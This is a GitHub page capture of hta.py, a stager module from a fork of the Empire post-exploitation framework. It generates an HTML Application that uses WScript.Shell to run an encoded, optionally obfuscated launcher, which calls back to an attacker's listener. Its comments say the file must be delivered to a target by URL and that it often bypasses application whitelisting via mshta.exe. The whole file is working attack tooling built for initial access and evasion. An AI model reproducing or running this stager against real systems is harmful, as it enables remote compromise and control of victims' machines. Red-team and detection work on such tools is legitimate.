forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 569
/
hta.py
145 lines (132 loc) · 5.26 KB
/
hta.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import logging
log = logging.getLogger(__name__)
class Stager:
def __init__(self, mainMenu):
self.info = {
"Name": "HTA",
"Authors": [
{
"Name": "",
"Handle": "@subTee",
"Link": "",
}
],
"Description": "Generates an HTA (HyperText Application) For Internet Explorer",
"Comments": [
"You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe"
],
}
self.options = {
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
"Value": "",
},
"Language": {
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
"SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"StagerRetries": {
"Description": "Times for the stager to retry connecting.",
"Required": False,
"Value": "0",
},
"OutFile": {
"Description": "File to output HTA to, otherwise displayed on the screen.",
"Required": False,
"Value": "",
},
"Base64": {
"Description": "Switch. Base64 encode the output.",
"Required": True,
"Value": "True",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"Obfuscate": {
"Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
"Required": False,
"Value": "False",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"ObfuscateCommand": {
"Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
"Required": False,
"Value": r"Token\All\1",
},
"UserAgent": {
"Description": "User-agent string to use for the staging request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Proxy": {
"Description": "Proxy to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"ProxyCreds": {
"Description": r"Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
}
self.mainMenu = mainMenu
def generate(self):
# extract all of our options
language = self.options["Language"]["Value"]
listener_name = self.options["Listener"]["Value"]
base64 = self.options["Base64"]["Value"]
obfuscate = self.options["Obfuscate"]["Value"]
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
proxy = self.options["Proxy"]["Value"]
proxy_creds = self.options["ProxyCreds"]["Value"]
stager_retries = self.options["StagerRetries"]["Value"]
encode = False
if base64.lower() == "true":
encode = True
obfuscate_script = False
if obfuscate.lower() == "true":
obfuscate_script = True
if language in ["csharp", "ironpython"]:
if (
self.mainMenu.listenersv2.get_active_listener_by_name(
listener_name
).info["Name"]
!= "HTTP[S]"
):
log.error(
"Only HTTP[S] listeners are supported for C# and IronPython stagers."
)
return ""
launcher = self.mainMenu.stagers.generate_exe_oneliner(
language=language,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
encode=encode,
listener_name=listener_name,
)
elif language == "powershell":
launcher = self.mainMenu.stagers.generate_launcher(
listener_name,
language=language,
encode=encode,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
)
if launcher == "":
log.error("[!] Error in launcher command generation.")
return ""
else:
code = "<html><head><script>var c= '"
code += launcher.replace("'", "\\'") + "'\n"
code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>"
return code